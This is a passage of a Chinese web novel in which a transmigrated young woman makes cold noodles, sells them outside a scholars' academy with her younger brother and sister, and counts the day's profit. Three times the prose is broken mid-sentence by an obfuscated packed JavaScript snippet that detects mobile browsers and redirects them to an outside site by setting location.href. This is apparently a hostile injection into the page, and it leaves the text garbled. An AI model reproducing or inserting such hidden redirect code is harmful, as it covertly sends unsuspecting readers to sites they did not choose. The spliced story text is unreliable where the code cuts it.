煎饼？ 不行不行。 煎饼需要量身定做一个铁具，成本太高。 麻辣烫？ 也不行。 蔬菜、锅具、烧火的炉子、调料……太麻烦了。 炸土豆？ 大雍没有土豆这个东西。 至少，原身记忆里没有这个东西。 对了。 沈天意灵机一闪：凉面！ 现在正值夏日六月，还要热两三个月，天气炎热，大家都不喜欢吃热的食物，凉面冰凉爽口，最合适不过了。 在现代，一到夏天，大街小巷都是卖凉面的。 而且，这个成本极低。 越想，沈天意觉得这注意越好。 她迫不及待想要买面粉、调味料来做凉面了。 说干就干。 她左右张望，很快看到了一家“宋家粮铺”，急吼吼的冲了进去。 王二宝正低头准备关门，余光就见一道黑影直直的撞向他，吓得他脸色大变，惊恐抬头：“你……” 沈天意一点儿没察觉到他的异样，兴冲冲道：　“伙计，我要买白面。” 王二宝：……来买面的啊……搞得、搞得他以为是来抢劫的。 “一斗二百文。” 沈天意一下子愣住了。 那个、一斗等于多少斤来着？ 原谅她这个现代人没有这个概念，现代谁还用一斗这个计量单位啊？！ 好在。 救星及时赶来。 沈天明跨进粮铺：　“大姐！” 沈天慧紧随其后，挽着她的胳膊声音撒娇：“大姐，你跑这么快干嘛？” 沈天意眼睛发亮，反手抓住沈天慧的胳膊，凑近她耳边低声问道：“小慧，一斗是多少斤？” 沈天慧惊讶瞪大了眼睛：“多少斤？” 沈天意和她四目相对。 你也不知道？ 咋滴，我一个现代人刚穿越过来是个“文盲”说得通，你个土生土长的大雍人也不懂？ 这时。 沈天明的声音想起：“十二斤。” 沈天意和沈天慧齐刷刷看着他，沈天意下意识重复了一遍：“十二斤？” 沈天明无奈点头：“嗯。” 他心里暗道：这个家离不开我啊～ 一旁。 王二宝看完全程，他此刻的心情只有两个字：无语。 “那个，小娘子，你还要买吗？” 沈天意眉头微皱，心里计算着：一斗是十二斤，要卖二百文钱，平均下来，一斤差不多十七文钱。 她总共就三百文钱。 再过十日就要交房租，按照最坏的打算，这十日没挣钱，要预留二百文交房租。 那么，只能动用一百文钱。 做凉面的原材料主要是面粉，但还需要鸡蛋、盐和碱面。 盐家里有，鸡蛋和碱面都要买。 虽然，这两样东西的量不多，但也得花钱。 如今，每一文钱对她来说都很重要，要花在刀刃上。 于是。 她最终面色慎重的看着王二宝，说：“我买四分之一斗，行吗？” 王二宝嘴角抽搐：“……等着。” 他动作飞快称好，拿了一个油纸袋包好，递给她：“五十文。” 沈天意数了钱递过去，小心接过面粉，这三斤白面，可是她发家之路。 “劳烦伙计了。” 礼貌道了一声谢，她带着弟弟妹妹离开了粮铺。 身后。 王二宝脸色和缓了许多，看着她的背影摇头：“雍京大，居不易～” ****** 出了门。 沈天明忍不住问：“大姐，白面太贵了，咱们自己吃买点儿粗面就行了，粗面才七十二文钱一斗。” 家里没粮食了。 他误以为沈天意买白面是为了给他们兄妹三人买口粮。 刚才在粮店里，他听到价格就心疼得紧，可顾及着大姐好面子，一直忍着。 这不，一出来就忍不住了。 沈天慧也点头：“是啊，大姐，我和二哥吃粗面杂粮就行。” 沈天意眨眼睛。 哦豁，她好像忘了告诉两个小的她打算做生意…… 而且，家里没粮食这事儿，她也给搞忘了！ “咳咳咳。”沈天意一脸尴尬：“其实，我买白面，主要是想要摆摊卖吃食。” 一听。 沈天明和沈天慧齐刷刷看向她。 “摆摊？” “卖吃食？” 沈天意缓过神，一脸正色解释道：“没错。” “咱们来雍京大半个月了，带的盘缠也要用完了，再不想点儿法子弄些进项，咱们姐弟三个就得露宿街头了。” 沈天慧恍然。 沈天明有些惊讶：对于这个问题，他自然也在心里担忧过，但没想到，自从娘去世后对他们冷淡不已的大姐，心里还是有他们的。 这让他心生愧疚。 这些日子，大姐知道身世，本就心绪不宁，这才顾不上他和天慧，他居然觉得大姐不想管他和天慧了，他可真该死啊！ “大姐，你想去做就去做吧。” 沈天慧紧随其后：“嗯，我相信大姐一定可以的。” 沈天意懵了。 燃、燃起来了？！ 不理解。 但，感觉不错。 她原本以为，这两个小的会问她要做什么买卖，担心她没做过生意会失败呢。 看着沈天明和沈天慧亮晶晶的双眼，沈天意挺起胸膛，拍着胸脯保证：“你们就放心吧，等大姐我挣大钱带你们吃香的喝辣的。” ****** 回到住处。 已经是一个时辰之后了。 天色彻底暗下来。 这处院子却亮着烛光，除开沈天意他们租的屋子，其余三处的屋子都亮着。 沈天意穿过来还没见过这三户邻居，记忆里对他们也没什么印象，但也不甚在意，直奔屋里。 进了屋，点上煤油灯，沈天意首先将剩余的二百零八文钱，数出来八文钱，把剩下的小心翼翼放好。 购置材料，刚好花了九十二文钱。 买完白面后，她又买了三个鸡蛋、一小包石碱和三根黄瓜和一些姜蒜，鸡蛋花了三文钱、石碱一小包花了十文钱、黄瓜一文钱、姜蒜一共花了三文钱。 除此之外。 她还买了半斤菜籽油。 一斤菜籽油五十文，她实在买不起，就买了半斤，花了二十五文钱。 藏好钱。 她朝着房间墙角的杂物堆走去。 哪里，放满了沈天明和沈天慧执意要带走的家伙什。 原身看得碍眼。 她却心花怒放，一眼就相中了那一堆锅碗瓢盆。 多好啊～ 给她省了一大笔购置费。 ****** 厨房没人用。 正好，没人打扰她。 沈天意将刚从杂物堆里翻找出来的木盆洗干净，豪气的把三斤面粉倒了九成九进去，留一成，待会儿擀面要用，接着，磕了三颗鸡蛋进去，再然后，拿出一个汤碗，放入适量的石碱和盐，倒入约一斤半的清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615814|206069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水，将其混合均匀，再接着，一边用筷子搅拌，一边将水少量多次倒进木盆里。最后，把手洗干净，开始揉面，不停的揉搓，一直到面团成型，之后，盖上面布，揉面就完成了。 接下来，是等待面团发酵。发酵的时间不用很久，也就十分钟。 十分钟后，第二次揉面，揉成光滑的面团，之后再次盖上白布醒发两刻钟左右。 这期间，沈天意也没闲着，开始准备调料，正常的凉面调味料需要红油辣椒、花椒油、生抽、陈醋、白糖、姜蒜水、香油、味精和盐，其中，红油辣椒是关键。 但，原身记忆里并没有辣椒这个东西。 再加上，雍京地处北方，这里不流行吃辣，因此，沈天意打算做了简化版本：生抽、姜蒜水、盐。 “酱烧鱼杂什么大料都没放，味道好得不行，这次凉面怎么说也比酱烧鱼杂的调料多，凭着‘饭灵根’，应该……没问题吧？”沈天意说服着自己，但心里始终有些忐忑。 生抽和盐都是现成的。 只有姜蒜水需要处理，也很快处理好了。 接着，她将三根黄瓜切成了丝。 沈天明不知道什么时候来了厨房，出声问道：“大姐，有什么我能帮忙的？” “我也帮忙。”沈天慧带着睡意附和。 沈天意看过去，只见沈天慧眼皮子已经在打架了，沈天明好一些，但眼皮子也耸拉着，不由得笑了：“不用，我一个人就够了，你们先睡。” 两人没答应。 沈天意拿出姐姐的气势：“天明，带小慧去睡觉。” 沈天明犹豫了一下，点头：“好的，大姐。” 目送他们离开，沈天意注意力转回到灶上，打算熬个熟油待会儿用。 “哎，这生火……”她扭头看向厨房外，有些后悔让沈天明走了，好歹帮她把火生起来啊，犹豫一秒，决定自力更生：“不就是生火吗，本姑娘还不信征服不了你。” 一刻钟后。 厨房冒起了炊烟。 沈天意顶着一张黑黢黢的脸，狼狈道：“可算是生起来了，果然，咳咳咳，万事开头难。” 接下来就很顺利了。 熟油熬好，面也醒好了。 提着煤油灯，回到房间，看了一眼床上，沈天明和沈天慧一动不动，已经睡着了。 她先将桌子擦干净，然后，均匀在桌上撒上预留的面粉，将木盆里醒发好的面团拿出来，在桌子上使劲儿揉搓排气。 之后，拿出擀面杖。 沈家是北方人，每一个北方人家里都有一根擀面杖。 费劲儿把面团擀成了几毫米厚度的面饼，沈天意长舒了一口气：“虽然厚薄不太均匀，但我已经尽力了，就这样吧，第一次做已经很棒了。” 切面。 尽量切得细。 沈天意十分专注，等完成最后一步，脖子已经僵硬了。 “嘶……”她一边扭着脖子，一边满足的看着自己的成果，还剩下最后一步了，下锅煮。 打开门。 院子其他人家都已经熄灯。 院子更加的安静了，她手脚下意识放轻。 生火、加水、水开下面，面条八九分熟，捞出立即过凉水，再然后，捞出控干水分，倒入准备好的熟油，用手抓拌，使每一根面条均匀的裹上油。 沈天意吐出一口浊气：“终于好了！” 她迫不及待给自己拌了一份：黄瓜打底、再放面条、加入两勺姜蒜水、倒入两勺生抽、最后放入几颗盐，搅拌均匀。灯光下，这一份凉面卖相不错，微黄泛着油光的面条和嫩绿的黄瓜丝相得益彰，夹了一筷子放进嘴里，入口是面条独有的麦香、接着是黄瓜丝的清香解腻、调料很简单，但恰到好处衬托出了凉面的清爽，是一份优秀的清凉解暑的食物。 “这就是饭灵根吗？恐怖如斯！” 沈天意心定了：这把稳了。 她找不到输的理由。 7. 第一次出摊 沈天意收拾好灶台，打了个哈欠，端着凉面往屋里走去。 之后，她又提着水桶出来打了半桶冷水，返回屋里，用帕子打湿，擦洗起了身子，忙活了一个晚上，身上早就被汗水打湿了，但这么晚了也不想再烧热水洗澡折腾，就简单用凉水擦擦行了。 “好困啊~”沈天意又打起哈欠来，下一刻莫名其妙笑了起来：“呵，真是奇妙，原来，健康的身体筋疲力竭是这种感觉……” 虽然身心俱疲，但身体和灵魂都是鲜活的，而不是一具腐朽的身躯~ “真好！” 沈天意擦洗好，直接躺在了最外侧，一张床三个人睡有些窄了，她只能面朝着床边侧躺着，闭上眼睛却很快入睡了，嘴角带着满意的笑。 ****** 她是睡着了。 谈昀就截然不同了。 他好不容易入睡，熟悉的少女声陡然在耳边响起：【我可真的天才，这凉面太好吃了，冰冰凉凉，清清爽爽！】 他猛地睁开眼睛。 又来？ 究竟是谁？ 他在心里质问。 等了许久，无人回应。 谈昀心中恼怒：这道声音如同鬼神一般出现在他脑子里，可却一直不予以他回应，是在戏弄他吗？ 不知过了多久，他撑不住睡了过去。 只见，他一向淡漠的俊脸上因为生气而出现了薄红，多了丝活人气。 ****** 翌日。 沈天意是被院子里的嚷嚷声吵醒的。 “两个懒货，饭做好了还不起床，还做不做生意了？！老婆子我真的命苦，遇到你们这两个懒东西！” 沈天意皱着眉仰起头，迷迷糊糊的问道：“谁啊？” 沈天明也被吵醒了，回答：“大姐，听声音好像是隔壁赖婆婆。” 赖婆婆？ 沈天意脑海里立刻浮现出了一个头发花白、满脸褶子、长马脸一脸尖酸刻薄样子的老太太。 她记忆里和这赖婆婆就遇见了几次。 那几次，这赖婆婆都拉这个脸，两人从没说过话。 赖家租住在这一间院子的正房，家里一家四口，赖婆婆和她的儿子赖大郎、儿媳妇张氏、孙子赖耀祖。 赖家还租了赵家的一间铺子做吃食，卖的是羊杂汤。 沈天慧也醒了，带着几分起床气开口：“她每天早上都要发脾气。” 沈天意也想起来了。 这种老太太，和她讲理大概会惹上一身骚…… “等挣到了钱，就换个房子。” 她立下了一个目标。 沈天意翻身下床，一边穿鞋，一边侧过头询问沈天明和沈天慧：“我准备去出摊，你们要一起吗？” 闻言，两人齐刷刷点头。 “要！” “我要！” ****** 一刻钟后。 姐弟三人出了门。 三人把家里的独轮车收拾了出来，凉面盖了一块纱布，旁边是生抽和姜蒜水，背篓里放着碗筷，她将家里有的碗都拿了出来，一共有十只碗，除此之外，还放了一个装满水的水桶，这是为了清洗碗筷的。 沈天慧左顾右盼，语气带着兴奋：“姐，咱们去哪儿摆摊？” 这还是她第一次摆摊。 沈天意早就想好了，回答道：“致远书院。” 昨天晚上，她买白面的粮食铺子就在致远书院旁边，街上道路两旁摆放着一些摆摊没收走的物件，当时她就决定在这里摆摊。 沈天慧点头：“哦。” 兄妹三人没说什么，直奔目的地。 致远书院地处下鱼街口，毗邻外城入口永宁门。 一到目的地，三人都是精神一振。 沈天意脸色笑容加深，暗暗自得：“我选的这个位置果然不错，粗略看一眼都有四五个摆摊卖早食的了，馄饨、面条、馒头、包子……” 有人摆摊就有市场。 这地方，果然选对了。 她的判断没有错，不管是现代还是古代，在学校外面卖吃的一定没错。 “走！” 沈天意招呼弟弟妹妹。 三人一起推着车往里走，顿时，吸引了摆摊小贩们的注意，看到他们三个人年轻轻轻的，又都不在意的收回了视线。 三个小孩儿家家的，能做出什么花样来？ 沈天明和沈天慧从来没有被这么多人注目过，神色不自然。 沈天意丝毫没在意，一心找位置。 一个不起眼的角落里，何娘子正从篮子里拿出烤好的面饼摆放在外面，一只小手突然扯住了她的衣袖。 何娘子当即扭头，温柔的看着有些瘦弱的女儿：“舒然，怎么了？” 何舒然没开口，只是用手指指了一个方向。 何娘子顺着她的手指方向看过去，脸色浮现惊讶之色：“这不是……沈小娘子？！” 沈天意听到声音，下意识看过去，脸色微愣，有些迟疑的开口：：“何娘子？” “是我。”何娘子点头，招了招手：“这里还有空位，咱们挤一挤。” 沈天意顿了顿，刚才她进来找了许久，好的位置都没被占了，她虽然天不亮就起床了，但还是来得晚了些。 何娘子这个位置，正对着书院大门，是极好的位置。 她没忍住诱惑，点了点头：“多谢何娘子。” 沈天明和沈天慧也跟着她一起道了谢。 何娘子摇了摇头，她是做母亲的，沈天意姐弟三人在她看来还是孩子，没有父母庇护自己出来讨生活，她心生怜悯，没能力关照，但给与一些力所能及的方便还是不吝的。 这边。 沈天意姐弟分工合作。 沈天意把凉面纱布掀开，露出了里面黄灿灿带着油光的面条；沈天明把水桶提下来放在地上；沈天慧把碗筷摆出来。 一旁。 何娘子看着这与众不同的面条，有些惊奇。 不过，她并没有贸然开口打听。 ****** 准备就绪。 书院的大门打开，也陆续有书生打扮的人出现。 不远处，包子摊、馒头摊、馄饨摊、面条摊都来生意了，要卖早食的客人基本上都选择了那些摊位，她们这儿和何娘子处生意惨淡。 何娘子神色淡然，有些习以为常。 沈天意也还沉得住气，沈天明和沈天慧却稳不住了，尤其是沈天慧，急得跺脚：“怎么没人来啊？” 沈天意安抚：“不急。” 沈天慧瘪着嘴，一副可怜巴巴的模样看着她。 见此，沈天意心头一软，摸了摸她的头，想了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615815|206069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想：“你们还没尝过这凉面吧？我给你们一人拌一份尝尝，顺便把早饭吃了。” 说完。 她不看两人的反应，径直拌了起来。 摆好三个碗，她余光看了一眼何娘子母女，又多拿了一个碗。拌面简单的很，一份面二两，按照直接放姜蒜水和生抽，完成。 她先是递给了弟弟妹妹。 然后，又端起一份，递给了何娘子。 何娘子受宠若惊：“这、这不行，我不能要……” 沈天意恳切开口：“一碗面而已，邻居一场又一起在这里摆摊都是缘分，何娘子尝尝我的手艺。” 闻言。 何娘子这才接了过去。 同时，她拿起两个饼，递给了沈天意：“沈小娘子，也尝尝我做的饼。” 沈天意没有推脱，笑着接过：“谢谢何娘子。” 另一边。 沈天慧因为没生意心里急，根本没心思和胃口吃东西。 沈天明心里也焦急，但没到沈天慧的份上，他看着碗里的面条，突然口水分泌，拿起筷子夹了一筷子面条放进嘴里，顿时瞪大了眼睛。 “这面条……” 又劲道又弹牙又带着浓浓的面香，还掺杂着鸡蛋香味、黄瓜的清香和香油味，如同站在河边，一阵清风袭来，灵魂都清爽了。 他没时间说话，大口吃了起来。 见他那样子，沈天慧也被勾起了馋劲儿，提起筷子吃起来，一进嘴，她什么烦心事儿都抛在脑后，狼吞虎咽了起来。 见此。 沈天意忍不住轻笑了一声。 然后，她端起给自己留下的那一碗凉面，打算送入口中。 ****** 秦宁生是致远书院丁班的学生，他家里是做布庄生意的小商贾，家中就他一个独子，家里对他没多大的期望，就要求他考个秀才，日后继承家业就行了。 可秦宁生天生不是读书的料，如今十八，在致远书院读了十年书，依然没考上秀才，还是个童生，就连那个童生，也多靠家里做官的姨夫押题，才擦边考中的。 他本想放弃。 可是，一想到他娘的大棍子，就怂了。 作为一个小富二代，他一不好赌、二不好色，人生最大的爱好，就是吃。 夏季，是秦宁生最不喜欢的季节，因为他苦夏，一到夏天就没胃口，这对于一个吃货来说，实在是一个折磨。 早晨出门，他没吃早饭。 此刻在书院门前，他又有些饿了，看了一圈书院外面卖的吃食，一点儿胃口也没有。他神色恹恹的准备放下车帘，不经意间，沈天慧和沈天明两人狼吞虎咽吃东西的模样映入眼帘，他手一顿，不由自主咽了咽口水。 他下意识开口：“停车！” 车夫立马停车，书童秦一掀开门帘：“少爷，怎么了？” 秦宁生回神，有些后悔：几个小孩儿能做出什么好吃的？但，他也不差钱，心里也有些好奇吃的是什么吃成那副模样，于是开口吩咐：“那个小摊卖什么吃的，给我卖一份来。” 闻言。 秦一又惊又讶：少爷今早不是没胃口吗？ 下一刻，笑着应下：“是，少爷。” 不管如何，少爷肯吃东西，就是好事，老太太、老爷和太太知道了，一定会很高兴，说不定，还会给他赏钱呢。 8. 卖光了 何娘子这边。 她端详着手里的面碗，心里惊奇：这个叫凉面？怎么做成黄灿灿、金灿灿的？实在是神奇…… 何舒然忍不住用小手扒拉她的大手：“阿娘~” 何娘子看过去，只见自家小姑娘眼巴巴看着她手里的面条，一副馋猫样儿，她忍不住露出宠溺的笑容，用筷子搅拌了几下，夹了几根面条，递到女儿嘴边。 何舒然早就长大了小嘴巴嗷嗷待哺。 一口吃进嘴里，她一双眼睛瞪圆，嘴巴像是一只小仓鼠一样快速蠕动，飞快咽下去，又张大嘴巴，发出了“啊”的催促声。 对此。 何娘子忍不住挑了挑眉。 她又喂了女儿一筷子，然后，自己也尝了一口。 瞬间，她被惊艳到了。 这、这凉面……难怪叫凉面，面条居然是冰冰凉凉的，如同在夏日吃到了冰镇冷饮一般，接着，面条的面香、鸡蛋的清香、黄瓜的清爽涌上来，实在滋味好极了。 她忍不住继续吃。 “娘？！” 女儿急切的声音唤醒了她，何娘子赶忙把送入自己口中的筷子拐了一个弯儿，送到了女儿的嘴边。 她脸颊泛红。 太丢脸了，自己居然和小孩子抢吃的。 何舒然已经不耐烦让娘亲喂了，直接伸手端过了面碗，把脸埋进去吃了起来。 何娘子摇头。 然后，她扭头看向沈天意：“沈小娘子，你这凉面做的太好吃了，我活了这么多年，还是第一次吃到这么好吃的面条。” 闻言。 沈天意停下筷子，谦虚一笑：“何娘子太抬举我了。” “没有……” 何娘子摆手，她准备继续说什么，却看到了秦一走过来，当即提醒道：“沈小娘子，来客人了。” 沈天意也看到了。 她赶忙放下碗，主动招呼：“这位小官人，来一份凉面吧，清脆爽口，正适合这夏日炎炎的早晨开开胃。” 沈天慧和沈天明也都停下来，眼巴巴望着他。 秦一挑剔的看了一圈沈天意的小摊。 第一反应：简陋。 第二反应：还是简陋。 他家少爷平日里空闲时最爱去街头巷尾寻摸美食，他也习惯了这种简陋。 好在，干净。 于是，他开口：“你这个……凉、面，给我来两份，打包带走，多少钱？” “一份六文钱。” “两份一共十二文钱。” 沈天意带着歉意：“只是抱歉小官人，小本生意，暂时还不能提供打包服务。” 秦一有些不愉，沉默片刻，才开口： “我有饭盒。” “你准备着，我这就去取。” 沈天意心里大大的松了一口气，然后，露出了灿烂的笑容：“好的好的，麻烦小官人了。” 好险，差点儿就要失去这第一位客人了！ 很快。 秦一就提着一个饭盒回来了。 沈天意接过饭盒，打开，这饭盒是双层的，她一层夹了一份凉面，之后，再添上调料，合上，递给秦一。 “小官人，好了。” 秦一付了钱，接过饭盒，面无表情走了。 一转身，他暗暗吐槽：“看来，少爷这次要失算了，一些姜蒜水、一点儿生抽拌的面条，能好吃才怪了！” “早知道，我就不给自己要那一份了。” 对此。 沈天意一无所知。 此刻，她正喜滋滋看着手心的十二枚铜钱。 赚钱了！ 两辈子，她第一次赚钱。 原来，赚钱是这个滋味，太棒了！ 沈天慧双眼发亮：“大姐，我们挣钱了。” 沈天明虽然没说话，但脸上也带着激动和兴奋。 沈天意笑容灿烂，点头：“嗯！” 有了开门红，三人如同被打了一剂强心剂，书院外的书生和行人越来越多，他们一直用期待的眼神看着、看着，偶尔有人望过来，偶尔有人走过来去何娘子那里买饼，但，他们这里一直无人问津。 沈天意笑容消失。 沈天明眼神暗淡。 沈天慧小嘴紧抿，不服气：“大姐你做的凉面这么好吃，居然没人来买，他们一定会后悔的！” 闻言。 沈天意一怔，忍不住轻笑出声。 她揉了揉沈天慧的小脑袋，重重点头：“对，没错！” 陡然。 “不吃就会后悔？” 一到年轻的男声插了进来：“口气可真不小，给我来一份，我倒是要看看究竟有多好吃。” 沈天意猛地转头。 看见来人，有些惊讶：“你是粮铺的伙计？” 王二宝早就认出了他们，闻言，点了点头：“又见面了，小娘子。” 王二宝家住在外城永宁门的榆树街，离下鱼街足足隔了一个坊，家里兄弟姊妹七个，他排行老五，爹不亲娘不爱，还好运气好，被在王家粮铺当掌柜的他堂舅看中了，让他进粮铺当了一个伙计，他半旬一日假，平日里都住在粮铺守夜。 他今年十六，还是个单身汉。一人吃饱全家不饿，一个月月银五百文，除了交一百文家用，其余的全部用在自己吃吃喝喝上面。 一日三餐，都在外吃。 言归正传。 他看着沈天慧，语气调侃：“给我来一份不吃就会后悔的面。” 沈天慧顿时脸颊爆红。 一般是因为羞耻，一般是因为恼怒。 沈天意听出他语气里没有恶意，也没在意，“客户是上帝”，她主动解释：“这是凉面，一份六文钱，小官人，你确定要一份吗？” 王二宝点头：“嗯，来一份。” 在雍京，平头百姓一份最普通的早食，基本在十文钱以下；带着荤腥的则在十文至二十文。 沈天意利索拌好一份。 王二宝付了钱，他直接站在原地开吃。 原本，他对于这味道不抱期待，结果，一入嘴，整个人都惊呆了。 “这味道，好吃……” 没功夫说话，手快要甩出残影，拼命往嘴里塞，活脱脱就好像是饿死鬼投胎一样。 两分钟就干完了一份二两的凉面。 他一抹嘴，意犹未尽，毫不犹豫：“再来一份。” 沈天意都看呆了，下意识点头：“好的。” 一旁，沈天明自觉收回了碗筷，开始在旁边清洗起来。 沈天慧没事儿干，她看着王二宝，只觉得他整个人顺眼了起来。 拌好面。 王二宝接过去，这一次吃的速度慢了下来，每一口都细嚼慢咽，慢慢的品鉴，脸上带着满足和陶醉的神色，不知道的，还以为他在吃什么龙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615816|206069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肝凤胆。 “这是啥？” 王二宝是这里的熟客，附近店铺的掌柜、伙计、摊贩都认识他，一个布铺的伙计见他这副模样，忍不住凑了上来：“好吃不？” 闻言。 王二宝直点头：“好吃，不吃绝对后悔。” “真的这么好吃？” 布铺伙计看向沈天意：“给我也来一份尝尝。” 沈天意满脸笑容，语气活泼：“好嘞，请您稍等。” “……” 毫无疑问，布铺伙计也被征服了。 在致远书院正门对面的小摊前出现了一个吸人眼球的画面，两个年轻郎君捧着一碗面，吃得如痴如醉。 人都是有从众心理的。 这两人无疑是最好的招牌。 沈天意的凉面摊生意火了，一个接着一个客人过来。 “这卖的是什么？给我来一份。” “我要一份，多少钱？” “我们两份。” “……” 沈天意忙得没时间歇气，沈天慧和沈天明也跟着一起忙碌，沈天慧洗碗，沈天明收钱，原本，沈天明是打算洗碗让妹妹收钱，可是沈天慧胆子小害怕算错，于是，最后就是沈天明来收钱。 一刻钟不到。 沈天意看着盆里的凉面，还剩下最后一份的量了，也已经被客人定了。 她看着还在走过来的客人，拔高了嗓子喊道：“卖完了，没有了，别排队了，已经卖完了……” 没买到的客人不敢相信： “卖完了？” “我听说这里来了个卖凉面的，味道很好立马就赶过来了，这么快就卖完了？” “小娘子，你这准备得太少了，下次多准备些吧，都不够卖。” “……” 沈天意今天是试水，可不敢多准备。 只是，效果很不错。 明天，倒是可以多准备一些。 她于是笑着应下：“明日一定多准备些。” “小娘子，明日也在这里吗？” “什么时辰来？” “……” 沈天意回答：“对，还在这里。” “和今天差不多的时辰。” “……” 人渐渐散了。 王二宝还在原地。 沈天意看见他，语气诚恳：“小官人，今天我们能卖得这么好这么快，都是你的功劳，多谢了。” 王二宝摆手：“主要的娘子的手艺好，我可没这么厚的脸皮揽功。” “小娘子，我叫王二宝，日后你唤我名字就行。” “小娘子，我可以提一个意见吗？” 沈天意微讶，然后点头：“可以啊，请说。” 王二宝搓了搓手：“这凉面的确很好吃，但我比较喜欢吃辣，能否加一个辣的口味。” “辣的？” 沈天意挑眉，爽快答应：“没问题。” 辣椒油才是凉面的灵魂，今日摆摊没有辣椒油，最主要的原因在于囊中羞涩，今天摆摊挣了钱，手头宽裕了，自然是要改良的。 就算王二宝不说，她也是这个打算。 刚才卖凉面的时候她可看见了，那些客人见她调料只有两样，大都变了脸色，好在，尝到味道都很满意。 一道菜讲究色香味俱全。 她这凉面，如今只占了一个“味”。 9. 日子有盼头 凉面卖光了，沈天意姐弟三人打算打道回府，何娘子还要继续卖饼，于是，三人和她们母女俩告别离去。 一回到家。 三人什么也没收拾，默契的聚集在了桌前。 钱是沈天明收的。 他拿出钱袋子，鼓鼓囊囊的，看上去有些份量，全部倒在了桌上。 “叮叮当当……” 沈天慧激动：“好多钱！” 沈天意带着笑：“一起数一数吧。” 沈天慧重重点头。 她迫不及待数了起来：“一、二、三……” 沈天明也抓了一把数了起来，他没像沈天慧那样念出来，而是在心里默念。 沈天意也跟着数了起来。 其实，她心里已经有了个大概的数。 片刻后。 沈天慧举手：“我这里有三十八文钱。” 沈天明紧跟着出声：“我这里有六十八文。” 沈天意点头：“我这里是五十文，一共是一百五十六文，咱们一共卖了二十六碗凉面，一碗六文钱，是对上的。” 沈天明面露沉思：“大姐，我们一共买了三斤白面，加上我们自己吃掉的四碗凉面，一共做出了三十份凉面，一份是二两重，那岂不是一斤白面能做两斤的凉面？” “没错。” 沈天意有些惊讶的看了他一眼：这便宜弟弟脑子还挺灵光的嘛~ 一旁，沈天慧一脸茫然。 沈天意想了想，既然姐弟三个一起生活，那家里的事情就应该大家都知道情况，于是，她开口：“昨天，买白面花了五十文，已经全部用光了。” “鸡蛋、黄瓜和姜蒜一共七文钱。” “石碱十文钱，用了差不多一文钱的量。” “菜籽油半斤，用了一两，折合算下来五文钱。” “柴火、水、碗筷、生抽都是家里本来就有的，没花钱，这么算下来，今天我们摆摊的成本是……” 沈天明插进来：“六十三文钱。” 沈天意愣了一下，用心算了一遍，点头：“没错，就是六十三文。” “天明，你脑子转得挺快呀。” 沈天明有些害羞的抿起了嘴，没说话。 沈天慧嘿嘿笑：“大姐，以前娘卖粮食，都是二哥算账的，粮铺的掌柜的可喜欢二哥了，还让二哥年纪大了去他那里当账房呢。” 这话一出，沈天明脸色大变：“小慧！” 闻言。 沈天慧反应过来自己说了什么，顿时脸色苍白，捂着嘴巴，惊恐的看着沈天意。 对此。 沈天意有些疑惑。 下一刻，她反应过来。 这原身，真会给她惹麻烦…… “是啊，娘以前还念叨着，家里有富余的银子送天明去书院读书，让他考个秀才公出来，好让娘在外祖父面前扬眉吐气呢。” 姐弟三人的娘刘珍，原本是秀才之女。她到了及笄之年，和三人的爹沈崇山相识相爱，沈崇山只是一个猎户，刘父自然不同意，刘珍绝食相逼，最终，刘父还是屈服了。 只是，婚后，他一直不喜沈崇山，连带着也不待见沈天意姐弟三人。 听到这话，沈天慧和沈天明都惊住了。 他们下意识对视了一眼。 沈天慧小心翼翼开口：“大姐，你不生娘的气了？” “我被抱错，也不是娘有意的，她当年得知真相也努力寻找过我的亲生父母，可是一无所获。这些年，她将我当成亲生女儿疼爱，甚至比疼你们还要疼我，我怎么可能真的怨恨娘？当时，我只是一时得知真相，情绪失控了而已。” 说着，她看着两人道：“天明、天慧，姐姐当时说了一些不好的话，你们别当真。” 沈天慧当即扑到沈天意怀里：“我就知道姐姐最好了。” 沈天明摇头，眉眼都是轻松。 屋里一片温馨。 好一会儿，沈天意清了清嗓子，扶正了沈天意，正色道：“说正事，摆摊成本是六十三文，我们挣了一百五十六文，抛开成本，咱们净挣了九十三文。” 沈天明接话：“一天九十三文，一个月岂不是小三两银子？” 沈天慧长大了嘴巴：“三两银子？以前咱们家一年也就挣个七八两银子呢。” “至少。” 沈天意昂了昂脖子：“今天是第一次出摊，我不敢弄多了，许多人没买到，我打算明天做六斤的两。” “六斤，那岂不是我们一个月能挣六两银子？”沈天慧惊呼：“天呐！” “没错。” 沈天意捏了捏她的脸蛋：“等挣了钱，大姐带你搬进新房子，咱们一人一间房，再给你买漂亮的新裙子，每天吃好吃的肉肉。” 沈天意兴奋得脸都红了。 沈天明也因为她的这番话眼里出现希望的憧憬。 ****** 